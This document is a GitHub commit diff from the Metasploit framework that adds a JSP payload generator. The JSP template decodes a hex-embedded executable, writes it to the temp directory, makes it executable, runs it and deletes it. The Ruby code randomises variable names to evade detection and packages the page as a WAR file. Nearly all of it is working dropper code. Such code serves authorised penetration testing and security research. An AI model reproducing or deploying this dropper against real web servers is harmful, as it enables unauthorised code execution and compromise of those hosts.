Skip to content

Commit 4c4f2e4

Browse files
committed
Land rapid7#7283, add jsp payload generator
2 parents 4d0643f + c6012e7 commit 4c4f2e4

File tree

3 files changed

+79
-97
lines changed

3 files changed

+79
-97
lines changed
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
<%%@ page import="java.io.*" %%>
2+
<%%
3+
String %{var_payload} = "%{payload}";
4+
String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
5+
6+
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
7+
%{var_exepath} = %{var_exepath}.concat(".exe");
8+
}
9+
10+
int %{var_payloadlength} = %{var_payload}.length();
11+
byte[] %{var_bytes} = new byte[%{var_payloadlength}/2];
12+
for (int %{var_counter} = 0; %{var_counter} < %{var_payloadlength}; %{var_counter} += 2) {
13+
%{var_bytes}[%{var_counter} / 2] = (byte) ((Character.digit(%{var_payload}.charAt(%{var_counter}), 16) << 4)
14+
+ Character.digit(%{var_payload}.charAt(%{var_counter}+1), 16));
15+
}
16+
17+
FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath});
18+
%{var_outputstream}.write(%{var_bytes});
19+
%{var_outputstream}.flush();
20+
%{var_outputstream}.close();
21+
22+
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){
23+
String[] %{var_fperm} = new String[3];
24+
%{var_fperm}[0] = "chmod";
25+
%{var_fperm}[1] = "+x";
26+
%{var_fperm}[2] = %{var_exepath};
27+
Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm});
28+
if (%{var_proc}.waitFor() == 0) {
29+
%{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
30+
}
31+
32+
File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
33+
} else {
34+
String[] %{var_exepatharray} = new String[1];
35+
%{var_exepatharray}[0] = %{var_exepath};
36+
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepatharray});
37+
}
38+
%%>

data/templates/scripts/to_exe_jsp.war.template

Lines changed: 0 additions & 51 deletions
This file was deleted.

lib/msf/util/exe.rb

Lines changed: 41 additions & 46 deletions
Original file line numberDiff line numberDiff line change
@@ -1407,6 +1407,40 @@ def self.to_powershell_hta(framework, arch, code)
14071407
read_replace_script_template("to_powershell.hta.template", hash_sub)
14081408
end
14091409

1410+
def self.to_jsp(exe)
1411+
hash_sub = {}
1412+
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
1413+
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)
1414+
hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
1415+
hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8)+8)
1416+
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8)
1417+
hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8)
1418+
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8)
1419+
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
1420+
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8)
1421+
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8)
1422+
hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8)
1423+
1424+
payload_hex = exe.unpack('H*')[0]
1425+
hash_sub[:payload] = payload_hex
1426+
1427+
read_replace_script_template("to_exe.jsp.template", hash_sub)
1428+
end
1429+
1430+
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
1431+
# payload. The jsp page converts the hexdump back to a normal binary file
1432+
# and places it in the temp directory. The payload file is then executed.
1433+
#
1434+
# @see to_war
1435+
# @param exe [String] Executable to drop and run.
1436+
# @param opts (see to_war)
1437+
# @option opts (see to_war)
1438+
# @return (see to_war)
1439+
def self.to_jsp_war(exe, opts = {})
1440+
template = self.to_jsp(exe)
1441+
self.to_war(template, opts)
1442+
end
1443+
14101444
def self.to_win32pe_vbs(framework, code, opts = {})
14111445
to_exe_vbs(to_win32pe(framework, code, opts), opts)
14121446
end
@@ -1500,52 +1534,6 @@ def self.to_war(jsp_raw, opts = {})
15001534
zip.pack
15011535
end
15021536

1503-
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
1504-
# payload. The jsp page converts the hexdump back to a normal binary file
1505-
# and places it in the temp directory. The payload file is then executed.
1506-
#
1507-
# @see to_war
1508-
# @param exe [String] Executable to drop and run.
1509-
# @param opts (see to_war)
1510-
# @option opts (see to_war)
1511-
# @return (see to_war)
1512-
def self.to_jsp_war(exe, opts = {})
1513-
# begin <payload>.jsp
1514-
hash_sub = {}
1515-
hash_sub[:var_hexpath] = Rex::Text.rand_text_alpha(rand(8)+8)
1516-
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)
1517-
hash_sub[:var_data] = Rex::Text.rand_text_alpha(rand(8)+8)
1518-
hash_sub[:var_inputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
1519-
hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
1520-
hash_sub[:var_numbytes] = Rex::Text.rand_text_alpha(rand(8)+8)
1521-
hash_sub[:var_bytearray] = Rex::Text.rand_text_alpha(rand(8)+8)
1522-
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8)
1523-
hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8)
1524-
hash_sub[:var_char1] = Rex::Text.rand_text_alpha(rand(8)+8)
1525-
hash_sub[:var_char2] = Rex::Text.rand_text_alpha(rand(8)+8)
1526-
hash_sub[:var_comb] = Rex::Text.rand_text_alpha(rand(8)+8)
1527-
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8)
1528-
hash_sub[:var_hexfile] = Rex::Text.rand_text_alpha(rand(8)+8)
1529-
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
1530-
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8)
1531-
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8)
1532-
hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8)
1533-
1534-
# Specify the payload in hex as an extra file..
1535-
payload_hex = exe.unpack('H*')[0]
1536-
opts.merge!(
1537-
{
1538-
:extra_files =>
1539-
[
1540-
[ "#{hash_sub[:var_hexfile]}.txt", payload_hex ]
1541-
]
1542-
})
1543-
1544-
template = read_replace_script_template("to_exe_jsp.war.template", hash_sub)
1545-
1546-
self.to_war(template, opts)
1547-
end
1548-
15491537
# Creates a .NET DLL which loads data into memory
15501538
# at a specified location with read/execute permissions
15511539
# - the data will be loaded at: base+0x2065
@@ -2221,6 +2209,12 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
22212209
when 'loop-vbs'
22222210
exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
22232211
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))
2212+
when 'jsp'
2213+
arch ||= [ ARCH_X86 ]
2214+
tmp_plat = plat.platforms if plat
2215+
tmp_plat ||= Msf::Module::PlatformList.transform('win')
2216+
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
2217+
Msf::Util::EXE.to_jsp(exe)
22242218
when 'war'
22252219
arch ||= [ ARCH_X86 ]
22262220
tmp_plat = plat.platforms if plat
@@ -2258,6 +2252,7 @@ def self.to_executable_fmt_formats
22582252
"exe-small",
22592253
"hta-psh",
22602254
"jar",
2255+
"jsp",
22612256
"loop-vbs",
22622257
"macho",
22632258
"msi",

0 commit comments

Comments
 (0)